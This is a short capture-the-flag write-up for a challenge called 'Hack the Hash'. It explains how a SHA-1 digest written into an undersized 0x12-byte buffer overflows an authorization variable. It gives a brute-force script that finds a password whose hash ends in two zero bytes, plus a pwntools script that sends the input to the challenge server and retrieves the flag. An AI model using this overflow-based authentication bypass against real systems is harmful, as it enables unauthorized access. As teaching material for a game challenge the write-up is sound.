# Hack the Hash
The binary is a stripped binary. The function at `0x000013d6` is the main function.The function at `0x00001329` ensures that username is not gehaxelt and compares hash of password with a hard coded hash.The function creates a 0x12 byte space for storing the SHA-1 hash of the password entered and a variable which stores 0 if the user is authorized.The variable is initialized with 0x1337, which makes first 2 bytes of variable 0.If we enter a password with SHA-1 hash ending in 2 0 bytes, the check variable is overwritten with 0, thus authorizing the user.
One may use the following  script to get such a password.```pythoni=0while True:    if sha1(int.to_bytes(i,(int)(i**0.5+1),'little')).digest()[-2:] == b'\x00\x00':        print(int.to_bytes(i,(int)(math.log(i)/math.log(256))+1,'big'))        break    i+=1```
We get the flag:**ENO{C_H4SHing_1s_H4rd:D}**
**SCRIPT**```pythonfrom pwn import *context.log_level = 'warn'p = remote('52.59.124.14',10100)p.sendline(b'user')p.sendline(b'\x01\x01\xc4')p.recvuntil(b'Flag: ')flag = p.recvuntil(b'}')log.warn(flag.decode('utf-8'))```---
<sup>Author: anibal\_hacker</sup>